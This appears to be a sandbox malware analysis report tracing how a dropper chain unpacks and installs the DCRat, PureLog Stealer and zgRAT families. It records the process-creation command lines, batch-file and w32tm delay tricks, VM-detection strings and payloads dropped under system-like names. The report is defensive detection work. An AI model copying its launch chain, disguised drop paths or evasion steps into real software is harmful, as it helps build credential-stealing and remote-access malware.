Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C037B110 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	4_2_00007FF6C037B110
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C038FC20 FindFirstFileExA,	4_2_00007FF6C038FC20
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B5B110 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	7_2_00007FF720B5B110
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B4407C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	7_2_00007FF720B4407C
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B6FC20 FindFirstFileExA,	7_2_00007FF720B6FC20

Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe

Code function: 4_2_00007FF6C0381624 VirtualQuery,GetSystemInfo,

4_2_00007FF6C0381624

Source: C:\Chaindriver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Chaindriver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Chaindriver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\Memory Compression.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\Memory Compression.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Thread delayed: delay time: 922337203685477
Source: C:\Chaindriver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Thread delayed: delay time: 922337203685477

Source: C:\Chaindriver.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Chaindriver.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Chaindriver.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Chaindriver.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Chaindriver.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Chaindriver.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: Memory Compression.exe, 00000025.00000002.1828796912.0000000012A23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: eEBHPUSTZPkuSqyW0ABxWQW9LOfRcIRQnOboVx4VVMCiFjm78daFjs8LlIlZmUhTHZqgEYFC4I4IpImSDdMURsUCNHVscERn7IgJCEm+JqDAJ8gGL5PpJD2hxdEEO0RGnHJBfARLVbiGxzWhtChrjFkdcRvurNmNOR0Q3SNERARGZo11U6GaFHgp0h12DVpotur2LcpUoi6KsQMIq2pOa0H9MuA010V+kk6shzRGBezPccbi3oGFC7WUrJMqibIa8O9E6JgEZRuRzgFxmkh2T16C1VyF2PXWmiOg+HKIq8C3AbyZ2IaL7YQDRzRC/HeyMfA3wO9BKw4jdrbhNhVXkREB9B6qBvgfofThGhD0A+kSOPghMhbCfoIZWxB6Doh1tvLxfQrqN6vYEStoQ+w2UoGRLOKAI+l+2rMHXs12i83xYKNbkhDsQYsKEL4BcP8kBcsqlI1UmHVluJC0hxGIBf7vCMe7AMQDrKyysLlT4JDTbkl8koENM3g//C8EbwKckdEnykUfAC8stliJBF+CcahL7rtkigVeYLEKRIFkEBe4q2SIVCeBBWOCHjqjFYgIS2obsaqVagSxV0FcW6MYSixVK7oeW21ehQYG1Rc0WEeRlyL3AscBqkRU0zsJCi0VytAEGySDO2GRm6iTjNuNvl37KdX3mdE7PslR6eT/sJyEQpf10IlEf7+c9eaqWuZd8uqL/loufHZXrf2U1l4/27/8UPl74IiYCKY8JUymPCfii6jzWyXoAttHbyna2lq0Bup2+ZFhLco+Y3j7J9QjTdC7WKTSX0/8sq5tEOmFFxZV3ENbgFfDENbsdqD6Gf1zgnyTpz/4LsaX0O4sq0CawZbSiD0COQdBiDMHcnLQhPM1lo1DTKMkZl5dkVgFnK63/XVAHvnYPwDMN6/rUgHJ964CbAokRiihO1+f5FJnzpkckOeW2UvyBZfVC2aNgVJ8my13rPKrPJ3sG64W9yms+CHn74Tk8TcN9uQdx/3v9/3wN8W+G7mv4n67I/17/E9f/AW/nhxgAXAAA","35d8f50be9ce23718b03ad282906cdb3fa75f62d"]]
Source: Memory Compression.exe, 00000025.00000002.1832528116.000000001B2A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlly
Source: BoosterX.exe, 00000004.00000002.1672861677.000002A14FAE6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATA
Source: Chaindriver.exe, 00000008.00000002.1726550758.0000000000D5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Chaindriver.exe, 00000008.00000002.1743974860.000000001BE0B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: w32tm.exe, 0000002F.00000002.1875107794.000001CB2D4B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll.
Source: Memory Compression.exe, 00000025.00000002.1832528116.000000001B36F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: w32tm.exe, 00000021.00000002.1778436522.0000021A6C407000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll]

Source: C:\Chaindriver.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

Code function: 0_2_00007FF652EEB3CC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF652EEB3CC

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

Code function: 0_2_00007FF652EF42D0 GetProcessHeap,

0_2_00007FF652EF42D0

Source: C:\Chaindriver.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Chaindriver.exe	Process token adjusted: Debug
Source: C:\Chaindriver.exe	Process token adjusted: Debug
Source: C:\Recovery\Memory Compression.exe	Process token adjusted: Debug
Source: C:\Recovery\Memory Compression.exe	Process token adjusted: Debug
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process token adjusted: Debug
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Process token adjusted: Debug
Source: C:\Chaindriver.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EEB3CC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF652EEB3CC
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EDCA9C SetUnhandledExceptionFilter,	0_2_00007FF652EDCA9C
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EDC030 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF652EDC030
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EDC8BC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF652EDC8BC
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 1_2_00007FFE148BFF4C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFE148BFF4C
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C03832D4 SetUnhandledExceptionFilter,	4_2_00007FF6C03832D4
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0382490 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00007FF6C0382490
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0387658 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FF6C0387658
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C03830F0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FF6C03830F0
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B632D4 SetUnhandledExceptionFilter,	7_2_00007FF720B632D4
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B62490 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00007FF720B62490
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B67658 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FF720B67658
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B630F0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FF720B630F0

Source: C:\Chaindriver.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe

Code function: 4_2_00007FF6C037B110 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

4_2_00007FF6C037B110

Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Process created: C:\Users\user\Desktop\t8F7Ic986c.exe "C:\Users\user\Desktop\t8F7Ic986c.exe"	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe -p1234	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe -p1234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\1.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Chaindriver.sfx.exe Chaindriver.sfx.exe -p1234	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Process created: C:\Chaindriver.exe "C:\Chaindriver.exe"	Jump to behavior
Source: C:\Chaindriver.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline"	Jump to behavior
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\lrFP7pOB0Z.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES953C.tmp" "c:\Windows\System32\CSCE25282B3313D430FBB6BBFE2CFE4882.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Chaindriver.exe "C:\Chaindriver.exe"
Source: C:\Recovery\Memory Compression.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\zsJdcY9yPm.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

Code function: 0_2_00007FF652EFA620 cpuid

0_2_00007FF652EFA620

Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		4_2_00007FF6C037A24C
Source: C:\Chaindriver.sfx.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		7_2_00007FF720B5A24C

Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\Desktop\t8F7Ic986c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75042\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Chaindriver.exe	Queries volume information: C:\Chaindriver.exe VolumeInformation	Jump to behavior
Source: C:\Chaindriver.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Chaindriver.exe	Queries volume information: C:\Chaindriver.exe VolumeInformation
Source: C:\Chaindriver.exe	Queries volume information: C:\Chaindriver.exe VolumeInformation
Source: C:\Recovery\Memory Compression.exe	Queries volume information: C:\Recovery\Memory Compression.exe VolumeInformation
Source: C:\Recovery\Memory Compression.exe	Queries volume information: C:\Recovery\Memory Compression.exe VolumeInformation
Source: C:\Recovery\Memory Compression.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Queries volume information: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe VolumeInformation
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Queries volume information: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe VolumeInformation
Source: C:\Chaindriver.exe	Queries volume information: C:\Chaindriver.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Queries volume information: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe VolumeInformation

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

Code function: 0_2_00007FF652EDC7A0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF652EDC7A0

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

Code function: 0_2_00007FF652EF6B50 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF652EF6B50

Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe

Code function: 4_2_00007FF6C0365164 GetVersionExW,

4_2_00007FF6C0365164

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000008.00000002.1740441058.0000000012EBC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Chaindriver.exe PID: 7852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Memory Compression.exe PID: 6924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chaindriver.exe PID: 7712, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 8.0.Chaindriver.exe.660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.1683927613.0000000000662000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1681625695.0000019CC38A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Recovery\Memory Compression.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\NOFqHeDosUIopsPGLT.exe, type: DROPPED
Source: Yara match	File source: C:\Chaindriver.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\Pictures\RuntimeBroker.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 8.0.Chaindriver.exe.660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Recovery\Memory Compression.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\NOFqHeDosUIopsPGLT.exe, type: DROPPED
Source: Yara match	File source: C:\Chaindriver.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\Pictures\RuntimeBroker.exe, type: DROPPED

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000008.00000002.1740441058.0000000012EBC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Chaindriver.exe PID: 7852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Memory Compression.exe PID: 6924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chaindriver.exe PID: 7712, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 8.0.Chaindriver.exe.660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.1683927613.0000000000662000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1681625695.0000019CC38A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Recovery\Memory Compression.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\NOFqHeDosUIopsPGLT.exe, type: DROPPED
Source: Yara match	File source: C:\Chaindriver.exe, type: DROPPED
